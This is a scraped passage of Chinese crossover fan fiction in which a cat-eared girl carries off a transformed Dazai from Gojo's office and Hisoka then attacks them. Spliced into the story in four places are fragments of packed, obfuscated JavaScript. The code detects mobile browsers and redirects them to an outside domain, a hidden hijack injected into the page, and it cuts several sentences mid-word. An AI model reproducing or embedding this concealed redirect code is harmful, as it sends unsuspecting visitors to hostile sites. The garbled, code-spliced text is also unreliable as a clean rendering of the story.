l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506840|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身的毛线球,两只前爪被一圈圈打了死结的绳索捆在一起,绳索上某些地方是暗色的,泛着水光,还缺了一口,脖子上系了一个木牌,身上则绕了好几圈松散的绷带,尾巴上还绑了一个大大的粉色蝴蝶结。 哇哦,玲惊叹一声,没想到五条老师竟然还有这种爱好。 真真是人不可貌相。 片刻之后,一阵叮铃铃的声音从门外传了过来,玲伸出去解救猫咪的手一滞,整个人呆立在原地,额头冷汗直冒,身后那条长尾巴更是直成一根棍子,上面的毛统统炸开,看起来相比平常至少蓬松了一半。 糟糕,没注意到之前耗去了太多时间,现在下课了! 隔壁教室的开门声,学生们的脚步声,说话声同时穿过房门冲了进来,外面的环境一瞬间就嘈杂了起来,玲竖着耳朵仔细分辨朝着这边过来的声音,眼睛则在办公室里四处乱瞄。 怎么办……怎么办?现在打开门出去的话绝对会撞上人的吧。 但是硬拖着不出去的话,又可能会被五条老师抓个正着,这里根本没有可供她完美躲避不被发现的地方。 如果沦落那个地步,那也未免太可怕了点! 才想到这里,玲浑身一震,是五条老师的脚步声,她听到了,五条老师正往这里大踏步走,最多半分钟时间就会走到门口。 抬手抹掉流到鼻尖的汗珠,玲的眉头紧蹙,往昔熟悉的,令人安心的声音现在在她的耳朵里已然成了魔鬼的步伐。 她将视线移向微敞的窗户。 现在,只有一个办法了。 不知道是不是预感到了什么,五条悟用比以往更快的速度站到办公室的门口,一路总共才花了大概十几秒钟。 推开门的时候,他的动作顿了顿,下一刻门就被果断推开,但他用的力道似乎稍大了点,门和墙壁重重撞上,发出一声刺耳的哐声。 跨入办公室,他的视线第一时间扫过猫包,被放在置物架之上的。 猫包的拉链拉得好好的,和他离开前没什么两样。 但再靠近两步,他一眼便瞧见猫包内空了一大块,里面只剩下曾经挂在猫脖子上的木牌,断裂成几截的绳索和一个躺在其上的,哀哀凄凄的粉色蝴蝶结。 猫不见了。 有人进来带走了他的猫,在他回来之前从窗户逃了出去,他判断事情仅仅发生在数秒之前,因为这位小贼过于匆忙,留下不少明显的行迹。 门合拢的形状不对,窗户也大开着,这两点他一进来就发现了。 踱步到窗前,五条悟往窗外探头,这里是四楼,普通人从四楼跳下去绝对会摔伤,但是地面上没有血迹,茂密的草丛也没有被压折的痕迹。 这位小贼完好无损地着地了。 “和我玩捉迷藏是吗?”五条悟缓缓咧开嘴角,如果有人能看到他此刻的眼神,一定会被吓到离他至少十米远。 那是绝对的,捕猎者的眼神,像是要择人而噬,即使是丛林里最凶猛的老虎也不会比他此刻的眼神更凶狠。 8. 你们,难道是那种关系? “跑慢点,晃得我头晕。”太宰猫开口道。 跑道边,草丛里,一只皮毛上黑下白的狸花猫叼着一只小黑猫,飞速奔跑着,偶尔有路人瞥到两只猫咪的身影,却在一瞬之后消失在视网膜里,倒叫人以为是自己眼花了。 叼着太宰的狸花猫没说什么,她也腾不出嘴来说话,只是脚下发力,四条腿倒腾得快要冒出火花,像是一阵越吹越剧烈的风,她越跑越快。 直到跑出学校,跑到一个像是废弃仓库的地方,狸花猫才松开嘴,放下小黑猫。 黑猫抬起前爪,捋了捋头毛,刚刚被剧烈的风迎头吹拂,他感觉自己的脑袋都要被吹没了。 才捋了一下,黑猫突然竖起耳朵,耳边似乎传来一个模糊的词语……变?抬起头,黑色带裂纹的瓷砖地板上,蹲在那里的狸花猫突然消失了,再次出现在原地的是猫耳少女玲。 她由猫变成了人。 玲叹了一口气,耷拉着脑袋步履蹒跚地挪到墙边,蹲下身,手指懊恼地戳着地板,嘴里嘟嘟囔囔:“现在可怎么办啊?我怎么把五条老师的猫也带出来了?本来只是想偷偷过去问一些问题的。” 戳戳戳,“真是急昏头了。” 再戳戳戳,“怎么办啊?现在把五条老师的猫还回去的话,他会原谅我吗?” “我不是他的猫。” “怎么不是?!”反射性地回了一句后,玲转过身,一脸讶异地看向黑猫,“我说的话你真的能听懂?” “是的哦,”那只黑猫对她点了点头,就算是蹲在这样肮脏破旧的地方也显得很优雅,明明这一路上差不多算是被她强行俘虏过来的,却一点也不害怕,一双鸢色眼眸镇定地望着她,“你果然能听懂我说的话。” 黑猫说出来的话在外界听来是猫咪的叫声,五条悟就听不懂他在说什么,但玲却能听懂。 其实现在他出口的也是喵,只是听到猫耳少女的耳朵里,会被自动翻译成人话。 “我当然能听懂了。”玲心不在焉地回道。 仔细端详了她一眼,太宰猫揣着手手,脑袋微歪向一侧,“是说啊,就算现在把我还回去你也得不到原谅哦,事情已经发生了那就没办法了。” “啊?啊!”被说中心事的玲捶地大哭,“怎么这样!!!” “干脆将错就错,把我带回去藏在你家里吧,这样他就永远找不到我,你也就不会被抓到了。” 太宰短短一句话传到玲的耳朵里,就像是恶魔在耳边低语,叫她心底不禁掀起滔天大浪。 玲站住不动,也不说话,一束阳光透过布满灰尘和黑色污迹的窗户斜斜照进来,恰好照亮了她阴晴不定的脸。 黑猫安静地望着她。 脸色变换不停的玲低垂下头,视线无意识地固定在前头黑色瓷砖的某一点上,好一会儿都维持着这副模样,像是在思考什么让她为难的问题一样。 时间过去大概几分钟,但过去一秒于她眼中也像是过去了一天。 漫长的时光过后,玲终于慢慢地抬起头,对着黑猫嗫喏了几下,无比艰难地吐出两个字:“不……行。” 这两个字一出口,玲脸色一肃,就像是下定了某个决心一样,接下来从她口中说出来的话流利很多:“这件事本来就是我做错了,不能继续错下去,就算……” 她抿了抿嘴,顿了一下后说:“就算五条老师永远都不会原谅我。” “这样嘛~” 太宰突然变得轻快的声音打破了当前的沉寂氛围,玲微微睁大眼睛,望向黑猫,正好看见太宰猫的脸上露出了一个浅浅的,叫人一看便心生柔软的笑容。 诧异地闭了闭眼,再次睁开眼睛时,玲却发现黑猫还是老样子,甚至看起来还更正经了一点,刚才那个笑容就如同蜻蜓点水,转瞬即逝。 已经慌得都出现幻觉了吗?这不应该吧?玲的心里顿生迟疑。 “是说你找我有什么事啊?” “啊啊啊!”听到太宰的问题,玲立刻将内心产生的疑惑抛到九霄云外,飞速扑向黑猫。 扑通一声,玲眨眼间便在黑猫面前跪坐下,双手小心翼翼地捧起黑猫的一只前爪,一脸殷切地望着他,“你是不是和我们一族有关系?!!” “一定有的吧,普通猫咪根本听不懂我说话,只有猫之一族的猫妖才能听懂人类的语言!” “普通猫咪也看不见被我施加了隐形术的猫耳,你却能看见,这种术法是由我族创造出来的,所以唯独对我族无效。” 玲眼里的同情几乎要滴出水来,“小可怜,你还记得你的父母是谁吗?告诉我,是哪个没良心的猫妖把你抛弃在人类世界里的,在外面流浪很可怕吧?” “你才这么小,懂得怎么化形成人类样子吗?对了,是五条老师捡到你的吗?他有没有好好对你?你住的是什么地方,吃的是什么……” 小可怜什么的,说的是他?被这个绝对不会出现在他人生里的名称攻击得头昏脑胀,太宰猫一时不查,没来得及阻止接下来这一连串听起来可怕得简直要让人抓狂的话语。 “打住!”数秒后,内心挨了重重几击的太宰猫一个激灵,突然清醒过来,大力抽出自己被紧紧握住的爪子,连蹦带跳地往后退开至少两米远,望着玲的眼神前所未有的认真:“你一定是认错猫了。” “是的,你一定是认错猫了。”他自顾自点了点头,二次重复。 “怎么会?我说的就是你啊。”一脸不解的玲悄悄往前挪了两步。 太宰猫几乎是同时往后退开两步,让一人一猫之间始终保持至少两米的距离。 眼尖地发现玲似乎还有想靠近的意图,太宰立刻抛出一个问题,只为转移她的注意力:“你尾巴上的铃铛为什么有时候响有时候不响?” “一开始见到你的时候,我听到了铃铛声,但在场的其他人似乎都没听见,可刚刚一路过来,我都没有听到铃铛声。” “那个铃铛吗?”玲停下步子,说到铃铛时连语气都变了,她的语气里似乎夹杂着从一千年前弥漫而来的怅惘,以及其它连他都分辨不出来的复杂感情。 太宰的脸色肃然了不少,一双猫瞳悄无声息地竖起,专注地看着她,看着黑色的尾巴自她的身后拐到面相还很年轻的猫耳少女面前,小巧又安静的铃铛正对着她垂下来的视线,看着她伸出食指,轻轻点在铃铛上。 叮——! 一声轻灵的叮声响起,荡起的涟漪回荡在空气里。 他抖了抖耳朵,这次又听见了。 “这个铃铛虽然没有什么很大的作用,但它可是我最重要的宝物。”玲抬起头,冲太宰俏皮地笑起来,一切复杂的神色都已从她身上潮水般退去。 “它受我控制,我想让它响它就响,不想让它响它就绝对不会响,而且除了同族之外,其他生物都听不到它的声音。” “这样啊,”太宰轻笑了一声,没有继续问下去,“那你可要好好保管哦。” 似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506841|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎没想到太宰会这样回答,玲目不转睛地望着他,脸上出现了没有一丝作假的开心表情。 她蹲下身,双眼平视黑猫,“我还没问你叫什么名字呢,我叫玲,全名猫之玲。” “我叫太宰,太宰治。” “你可以直接叫我玲,我可以叫你太宰吗?” “可以,”黑猫点点头,尾巴拍打在地板上,发出啪的一声,“对了,你知道猫之千吗?你和它的名字这么像,你们应该认识?” “猫之千?”这个名字让玲皱起眉头,一层阴霾缓缓爬上她的脸颊,她从鼻子里冷哼出一声,“当然知道,族内我最讨厌的就是那个坏脾气的家伙了。” “自大,无能,因为长了一副漂亮的样貌,广受长辈们宠爱,他又是族长的孩子,长老们总说要我们让着点他。” “虽然族长外出很久没回来了,但他从小就被长老们一起抚养,也没被亏待过呀。” “我为什么非得让着他?其他和他同一辈的会让着他,我才不干!我可是知道的,这家伙的性格其实臭得要命。” “难道……难道你是他抛下的孩子?他能干出这种事我是一点都不怀疑啦。”玲单手捂住嘴巴,眼睛都瞪大了。 以黑猫为中心,她转着圈地细细打量,一边观察一边说:“嗯,你也长得很漂亮,加一分,但皮毛颜色和他不同,他是白毛,你是黑毛,减一分,但你也有可能是继承了母亲的颜色,再加一分……” 怎么说到这里的?这家伙的脑回路也太抽象了吧!太宰猫的眼角抽了抽,有气无力地道:“你别乱猜了,你的猜测全错啦。” 紧接着他又强调了一句:“总之,我和他之间的关系不是你想象中的那样。” 欲盖弥彰……肯定有古怪!玲若有所思,玲匆忙住嘴。 一看她的神色,太宰就知道她根本不相信自己这番真得不能再真的说辞,张了张嘴,太宰到底还是没有继续同她争执,再说下去估计也只会越描越黑,“他现在在哪里?” 还追着问他的踪迹,果然是她想的那样么,太宰治这个名字肯定不是猫之千取的,连孩子的名字都不留下一个,猫之千这家伙真该死啊! 玲暗暗点头,用饱含同情的眼神瞟了太宰一眼,“那混蛋当然是回族里了,他现在可是春风得意,我听说他继承了我们一族有史以来最好的天赋,所以族内要给他办庆典呢。” “还想叫我回去给他捧臭脚,我才不回去!”玲一边咬牙一边跺脚,“最多……最多看在大长老师傅的面子上,庆典当天回去一下。” “你能现在带我回去找他吗?”太宰猫人立而起,两只前爪合十,闪烁着pikapika的光芒,仿佛点缀着无数小星星的鸢色大眼睛恳切地望向玲,“我有很重要的事情要找他。” 玲不由得倒吸一口凉气,此等萌得人肝颤的小猫咪,绝非人力所能敌啊! 捂住差点跳出来的心脏,玲闭上眼睛,狠狠心快速转过身去,“我……让我考虑一下。” 只有萌物不在视线里,她才可以挽救自己即将沉底的理智值。 望着她冷酷的背影,太宰猫缓缓蹲下,长长的尾巴拍打了一下地板后圈在爪前,三角形耳朵向两侧展平,猫猫嘴也瘪了起来——看来是要多费一番功夫了。 “我想好了,我可以答应带你去找他,但是我们得先回去找五条老师道……”尖尖的猫耳抖了抖,玲脸色一变,话到半截停住,反身狠狠踢出一脚,“放下他!” 9. 青涩的小苹果哟~ 仿佛利刃划破绸缎的破空声响起,玲踢出气势十足的一脚,如果被踢中的是一个普通人,只怕那人立马就要被踢飞十米远,但这一脚却被一只竖起的强壮手臂挡住,看来人气不喘汗不流的样子,这一脚他恐怕应付得非常轻松。 “哦呀,看我发现了什么?一颗青涩的小苹果??” 这标志性的变态嗓音!玲心里一突,额头冷汗汨汨直流,千万拜托来的不要是那个人!拜托拜托! 抱着自己也不相信的念头,玲一边在心里死命祈祷,一边犹犹豫豫地瞥向来人。 一头红色的短发向后竖起,宽阔光洁的额头下是一双狭长的狐狸眼,难得一见的金色瞳仁,一侧脸上画着星星,另一侧脸上画着泪滴,高挺的鼻梁下,那张薄薄的嘴唇正向上弯起。 果然是著名大变态西索! 著名大变态西索正似笑非笑地盯着她! 浑身一哆嗦,玲脸上浮起难看的笑容,“西……西索大人,您今天怎么有空到我们这地儿来?” “那只猫……”放下腿,玲在西索面前老实站好,隐蔽地瞥了一眼被一只手提着后脖颈抓起来的黑猫,堆着满脸讨好的笑容道:“您看,像您这样的强者,一定不会稀罕找这么弱小的小猫咪的麻烦是吧,您能不能把他还给我?” “我本来是对他有点兴趣的,”西索提起黑猫瞅了一眼,狭长的眸子一转,望向微微弯着腰的玲,“但现在我对你的兴趣更大~” 玲的耳朵和尾巴同时惊悚地竖了起来。 “你想要它?” 全身毛发炸开,快变成刺猬人的玲哭丧着脸,乖乖地点了点头。 “可以,”乍一听见这句,玲的脸上扬起放心的笑容,紧接着便听见后半句:“从我手中抢回去就行。” 玲才扬起一半的笑容顿时僵在脸上。 “哈……哈哈,西索大人,您是在开玩笑对吧?”玲哆哆嗦嗦地说道,“我怎么打得过您。” “我让你一只手,来抢啊??”西索朝她勾了勾手指。 玲看看人又看看猫,站在原地犹豫不决。 在她听说过的有关西索的所有事迹里,凡是和西索战斗的人,最终结果不是死了,就是死了,没有一个幸免于难。 作为天空竞技场的头牌,守在200层之上,最后一关的大boss,西索仅有的几场战斗录像被传得广为人知,网上随便一搜就是,所以她也有幸看过。 在第一次看见时,就算是隔着屏幕,战斗中的西索那恐怖的气势也震撼到她失语。 从那以后,原本还有点好奇心的她就绝了要去天空竞技场试试的想法,没想到的是,自己竟然会有遇到西索的一天,更没想到的是,西索会要求她和他打一场。 这架能打吗?根本不能打啊!试试就逝世,这可不是说着玩的,会出猫命的! “看来你是不想要这只可爱的小猫咪了,那我只好把它剁了哟~”西索眯着眼睛,晃了晃手中的黑猫,威胁溢于言表。 黑猫才张了张嘴,就被一把扼住命运的喉咙,发不出半点声音。 “放开他!”玲浑身一震,带着谄笑的脸颊瞬间冷却下来。 背部猛地弓起,扬起的双手上,一层利刃般的尖爪破肉而出,原本圆圆的瞳孔紧缩成一条细线,肉食动物特有的冷肃气场弥漫在空气里。 玲摆出了攻击的架势,和刚刚在西索面前弯腰低头讨好的样子简直判若两人。 精神高度集中地盯着西索,她决定全力以赴,不再考虑自己打不打得过、会不会死在这里、抢不回黑猫怎么办、对不起五条老师等等问题。 踏前一步,寒光闪烁的爪子直向着西索的面门挥去,速度快得原地还剩下一道残影,她这个种族最大的优势是速度快,而玲在她们族内是首屈一指的快。 既然已经决定动手,玲就不会给自己留半分余地。 “来得好!”西索眼前一亮,一只手仍然抓着黑猫不放,整个上半身向后倾斜,躲过这一爪。 一爪抓空的玲顺势往下,爪尖仍然冲着西索的面门,却见弓着腰的西索抬起空着的手臂,挡住这一爪,同时左腿像一条鞭子一样,蓦地往上一甩。 嘶! 尖锐的破空声清晰可闻。 西索的下盘非常稳固,身体柔韧度也很不错,这个常人一般做不出来的高劈叉姿势,由他做出来却显得及其轻易又蕴含力量。 玲头顶那双三角形耳朵抖了抖,像是感应到了似的,飞快闪身躲过这一腿,之后没有半刻停留,再次扑了上去。 以西索为中心,玲双爪齐上,转着圈地从各个方向攻击,她一会儿出现在西索左边,一会儿出现在西索右边,每一次都是一击而走,身法干脆利落。 暴风雨一般的攻击向着西索袭去,西索唇角微扬,下半身不动,整个上半身左右摆动,以最轻微的动作躲开她的每一次攻击。即使是从背后袭来的攻击,他也能轻易躲过,就像是脑后长了眼睛一样。 “就这点程度吗?”不久后,西索的双眼隐隐流露出失望之色,“那就该轮到我了。” 说着话的同时,他突然向着面前速度快得只剩虚影的玲伸出手,仅仅这一下就抓住了高速运动中的玲,拽着她的手腕强行将她静止下来,然后抬脚一踹。 被击中腹部的玲倒飞了出去,一路砸碎几个破旧的木箱,撞在墙壁上,反身滚落,啪的一声摔在地上。 捂着肚子,玲的眉头紧紧蹙起,身体几乎弯曲成一只虾米,重重咳了几下后,她猛地侧头吐出一口鲜血。 双手撑着地板,玲努力了好几次后才摇摇晃晃地站起来,唇角不停流出血液,她随手擦了一把,见擦不干净也就算了,费力地挪动颤颤巍巍的双腿,面朝西索站好,再次摆出攻击的姿势。 两个人的差距太大了,仅仅在速度和感知上有一点可取之处的她对上西索,就像是小鸟对上猛虎,你啄人家一口,人家不痛不痒,人家打你一巴掌,你就差点半身不遂。 “轻松,太轻松了!”对面的西索皱起眉,面露厌烦之色,“我对烂苹果可没什么兴趣。” 说着,他将手里抓着的黑猫往后一扔,黑猫翻滚着飞向十几米外的高空,这一下摔下来不死也残了。 望见这一幕,玲的瞳孔骤然缩成针尖大小,已经挤不出半点力量来的身体硬是踏出一步,却怎么也走不出下一步,手掌不知何时握成拳头,还没收回去的爪子插进手心,刺出五个血洞。 怎么办?救不了,我救不了! 丝丝缕缕绝望和痛苦慢慢爬上她的眼眶,溢成点点泪水,下一刻,她眸子一颤,所有浓烈的情绪骤然定格在瞳孔深处。 斑驳的金色光线里,被甩到抛物线最高点的黑猫突然消失不见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506842|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取而代之的,则是一位穿着修身黑西装,外罩黑大衣的猫耳少年。 遵循重力往下掉落的少年不对劲地呈现头下脚上的姿势,额前刘海撤开,露出白皙的额头,一只眼睛被绷带包裹住,因为全身血液倒流,他的脸部渐渐氤氲出团团粉色,但这似乎没有影响到他一丝一毫。 脸上暴露出来的另外一只眼睛,眼神很冷静,冷静到堪称冷酷的程度,好像一点也不担心眼下自己危险的处境。 黑色大衣从他的肩头滑落,挡住部分身体,若隐若现间,她看见少年绑着绷带的手里似乎握着什么东西。 那是……? 一把黑色手枪!那竟然是一把无论方位怎么改变,枪口始终对着西索的手枪。 以危险姿势自由落体的少年瞄准了西索,他握着枪的手稳得不可思议,盯着西索的眼神也冷静得不像一般人。 “为什么这个世界没有人能给我一点惊……” 砰! 他开枪了。 一朵血花应声绽放。 西索的声音戛然而止,他低下头,胸口靠近心脏的部位出现一个细小的孔洞,暗红色的液体迫不及待地流淌出来,几乎染红了半边身体。 身体晃了晃,西索回过头,一高一矮两个人站在距离他大概十来米远的地方,高个子有着一头朝天空竖起的白发,成年体型,以前没见过,手搭在一头黑发的矮个子肩膀上。 黑发矮个子少年体型,长了一张熟悉的脸,仿佛以前在哪里见过,脸上貌似在微笑,鸢色眼眸却殊无笑意,只有冷到刺骨的寒意。 “哎呀,不巧打歪了呢~”太宰对着手里竖起的枪管吹了一口气,“可惜了。” 子弹临身的那一刻,正在大发牢骚的西索似乎有所察觉,但他只来得及往左边偏移一寸,所以正对心脏的这一枪没有命中准心,而是擦着心脏穿过。 迎着西索看过来的奇怪视线,太宰歪了歪头,“这可是你要的惊~喜,你喜不喜欢?” “太宰……治是吧?”西索想起来了,这张脸他确实见过,在【恶魔在召唤你】这个频道上播出的通缉令上,虽然和他看见的有部分不同,但总体上还是那张脸,他记得自己听到的应该是这个名字。 “枪口瞄准我的时候你的身上没有带着一点杀气,所以直到这颗子弹靠近之前我都没有察觉到。”他转过身,正面面对两人,单手往胸前一抹,胸膛上开出的口子奇迹般的消失不见。 被太宰打出来的那个伤口其实还在,只是被西索用念能力遮住了。 这是西索开发出来的一种念能力用法,名为『轻薄的假象』——在自己的气中加入想象力,便能重现一切质感,但只能模仿纸一般薄的东西。 他在伤口上覆盖了一层假象。 “我的身体表面布满气,一般的子弹打在我身上都会被这层气挡住,但你的子弹却能突破这层气。”嘴角几乎咧到耳朵根,西索像是在回味什么一样,舌头绕着嘴唇慢慢舔舐一圈。 “如果我没有在关键时刻闪开,说不定就被你打到濒死了。”说到这里,他突然叉着腰,仰头狂笑起来,“哈哈,哈哈哈哈……我已经很久,很久没有受到过这样严重的伤害了……” “这可真是……”他紧盯着太宰,金色眸子里绽开无边兴奋,“太~棒~了!!!” 话音未落,他已经冲了上来。 10. 被中意了 五条悟是在太宰变身的时候过来的,他一过来便看见了只差一米就要头部着地的太宰,来不及多想仓库里这几个人是个什么状况,瞬间移动到太宰的身边,一只手抓住他的腿遏止去势,然后将他翻了个个儿,带着他一起降落到地上。 那声枪响,他听到了。 不管自己如何,先给敌人一枪,没想到他捡到的黑猫是这种人。 真是相当的不顾自己的死活啊。 变身后的太宰大概处于16岁的年纪,瘦瘦小小的,他一只手就能拎起来,只是这人的嘴,却是一点也不饶人,对着看起来就比他强壮一百倍的敌人,挑衅加嘲讽,那是一件也没落下。 西索的大名,他可是早有耳闻。 盛名之下无虚士,这次意外见面,他发现,这人比在视频里表现的更加狂妄,满身气场也更加凶恶强大。 眼见西索冲了过来,他一只手提起太宰,往背后一放,自己迎着对面的人影,冲了上去。 轰! 空爆声乍然响起,拳头和手臂交击在一起,泛起一片气浪,两人意外地对视一眼,竟然是力量相当,谁都没有被击退。 西索的注意力自然而然地转移到了新来的人身上,虽然太宰给他的那一枪很是惊艳,但光观察他的体格,西索就知道,他的体术肯定不怎么样。 但眼前和他对打的人,绝对不是花架子,一向诚实面对自己欲望的西索立马抛弃旧爱,换了个新目标。 双方的出手速度极快,一会儿贴身肉搏,一会儿又大开大阖地用拳头对撞,余波震碎了不少物品。 旁观的人只看见两条模糊的人影,不断一触即分,又不断重合在一起,密集的拳脚相交声,仿若金石交击,不绝于耳。 数十个回合过去,两个其实没怎么动真格的人打得旗鼓相当,差不多平分秋色。 一圈圈狂暴的气浪向四周席卷而去,吹得站在一边观察的太宰站立不稳,一不小心栽了个跟头。 麻溜地从地上爬起来,太宰侧头呸呸呸了好几下,头上的猫耳朵不受控制地抖个不停。 这个废弃仓库地上满是灰尘,刚刚的气浪席卷着积蓄许久的灰尘,扑了他一头一身。 黑西装变成灰西装倒是没什么,只是那双猫耳朵上的神经元太过丰富,一点点灰尘都受不了,自发抖动到现在,迟迟没有停下的趋势。 太宰气闷地瘪了瘪嘴,捻着自己的耳朵尖狠狠搓了一顿。 没搓几秒,他就触电一般松开手。 身后那条被他刻意忽略许久的黑色猫尾巴猛地绷直,炸成一朵花儿。 眼神盯着空中的某一点游移,不知道过了多久,太宰再次伸出手,一根一根将手指慢慢搭在猫耳朵上。 两只手分别捻住头顶两只猫耳朵的那一刻,太宰就像被雷劈了一样,保持着这个傻乎乎的姿势原地静止不动,良久后他放下手,表情莫测。 胡乱擦了一把脸,太宰抬起头,视线在废弃仓库里转了一圈,很快找到一个制高点,爬了上去,冷冷的枪口再次对准场地中央战在一起的两个人。 他在观察,也在等待。 风向和温度,敌人的攻击频率和出手习惯,自己的呼吸频率和视线焦点,一切有可能影响射击的因素都被他计算在内,他在等待一个最好的出手时机。 在此之前,不用着急。 太宰这副姿态立刻给战斗中的西索施加了一点压力,让他不能尽兴地面对五条悟。 打个架必须留下三分力,以防不知道什么时候就会突然打过来的冷枪,这让他有点束手束脚。同时,没有得到治疗的伤口也在激烈运动下逐渐扩大,慢慢地,对他的动作造成微妙的影响。 趁着分开的某个空当,三连后跳拉开距离的西索撇了一眼废弃仓库里的几个人,不满地鼓起包子脸。 成熟大苹果和青涩小苹果混在一起被他发现,明明是一件好事,可是为什么,为什么会变成现在这样呢? 小伊也不知道在干什么,竟然还没过来,要不然可以出钱请他带走小苹果,让他和大苹果好好打一场了。 被他寄予厚望的伊尔迷正站在通往废弃仓库的小巷里。 常年面无表情,仿佛一个无口无心的人偶,偏偏脸颊也颇为秀美,再加上一头黑色顺直长发,集这些特质为一身的伊尔迷如果在夜深人静的时候出门,不幸撞见他的路人大概会以为自己遇到了夺命女鬼。 只是这位‘女鬼’一身腱子肉强壮得和西索有的一拼,徒手推开十吨大门也是轻轻松松。 伊尔迷站住脚,没有一点高光的幽黑大眼睛盯着对面,“让开。” 头顶冒火的变身系大男孩正挡在他前面。 “你……”被五条悟喊出来找猫的沢田纲吉迟疑了一下,超直感提醒他这家伙及其不好惹,但超直感也告诉他就这么放他过去不好,没思考多久,他坚定地道:“你不能过去。” “哦,”伊尔迷歪了歪头,右手轻握,捶在左手掌上,“是拦路抢劫。” 他正色道:“我是一分钱也不会给你的。” 如临大敌的纲吉一下子破功了:“谁想抢劫啊!” “不是抢劫吗?”伊尔迷一双死鱼眼流露出可惜的意味,一头顺直长发无风自动,声音平静无波,“那我就不能以反抢劫的名义杀掉你了。” ‘咿——!’表面镇静的纲吉在心里打了个哆嗦。 “而且也没有人出钱请我杀你,”伊尔迷手抚下巴,独自陷入沉思,喃喃自语:“我可不想在任务之外树敌。” “那就只好这样了。”说着他自顾自地点了点头,迅速后退,翻上墙壁,三跳两跳消失在纲吉面前。 “走……了?”纲吉瞪大双眼,他还以为免不了要打一架,紧绷的身体顿时放松下来,擦着自己的额前流下的汗滴,他长舒了一口气,“真可怕,这家伙是谁啊?” “我叫伊尔迷·揍敌客。” 眼前突然出现一头倒垂的黑发,一只白皙的手破开席子般的长发伸到他面前,手上捏着一张精致的方形塑胶卡片,透过漆黑的长发,隐约可见一团乌漆墨黑的眼神,似乎连瞳仁都没有,“这是我的名片,想杀人可以找我,新顾客盛惠九九折哦。” ——伊尔迷又回来了,还倒挂在他的头顶。 鬼啊!!! 纲吉张着嘴,仿佛被石化了一样一动不动,片刻后机械地抬手接住递给他的名片。 这家伙外表看似坦然自若,其实灵魂已经从他的嘴里逃出去了,只是靠着身体本能在动作而已。 等他回过神来,如斯出场的伊尔迷已经消失不见。 前后左右上下仔仔细细地转了一圈,任何可能藏人的的小角落都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506843|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过,甚至连路边臭气哄哄的垃圾桶他都翻开盖认真检查了一遍。 做完这些之后,纲吉站在一地狼藉里呼出一口气,安抚地拍拍自己像是受惊小鹿一般的心脏,“事情结束后必须让五条老师请我上高级餐厅吃一顿好的!” 某栋大楼顶层,神出鬼没的伊尔迷站在护栏一角。因为差点出现危险事故,这里的护栏被加高到一米六,护栏外侧即是无遮挡的高空。 今天的一米六上方,长发飘飘的女鬼(bushi),随便一站背影几乎可以上娱乐板块头条的伊尔迷仅用脚尖点在栏杆尖端,大半个脚掌空着,但他却毫不费力一样。 黑洞洞的眼睛无感情地注视着某个方向,视野尽头,他预定的未来客户正在疑神疑鬼地到处旋摸,探头探脑的样子像极了打洞的地鼠。 直觉告诉他,这是一个招惹起来很麻烦的强者,要对付他,付出和收获不成正比。 伊尔迷掏出手机,打开短信界面,输入一句话,然后点击发送—— “西索,有人拦路,我先回去了。” 这句冷酷无情的话给当事人造成了成吨的心灵伤害。 这边听到手机铃声的西索可是特地和五条悟拼了一记狠的,争取到空隙抽身后退,远远拉开距离,趁着这个空当掏出手机查看信息的。 结果就看到他被放鸽子了的消息。 盯着屏幕上短短的一行字,西索的眉头不由自主地跳了跳。 小伊分明是懒得替他出力,他要真想过来,什么人能挡住他?就算正面对拼不划算,暗杀家族出身的大少爷怎么会没有一手甩掉敌人的好办法? 不为人知地潜伏靠近目标,那是他们的拿手好戏。 而且,今天伊尔迷会出现在这里,本来就是应他的约。 西索有一个特殊标签,标签提醒他这个区域有异常波动出现,所以才约伊尔迷过来看看情况。 有一件事他还不知道,更过分的是,伊尔迷不仅不想过来,还想把拦路的某人发展成自己的潜在客户。 “今天不打了,”想了想,西索收回手机,夹着扑克牌的手指指向他的对手,“你叫什么名字?” “五条悟。”白毛老师也停了下来,这场架在他看来实在开始得莫名其妙,他还没搞清楚西索为什么会出现在这里,还和他家猫打起来了。 “五条,我很中意你哦(此处应有爱的小心心)”单手撑在腰上,西索上半身向前倾,抬起另一只手,眉飞色舞地给了他一个飞吻。 这满是冲击力的台词和动作顿时让五条悟的大脑停止了运作。 西索的嗓音和他说话的调调一向给人变态的感觉,而当他兴奋起来的时候,那就更加……更加难以言喻了。 等五条悟的大脑恢复工作,嘴角便克制不住地抽了一抽,又抽了一抽。 “喵哈哈哈哈!” 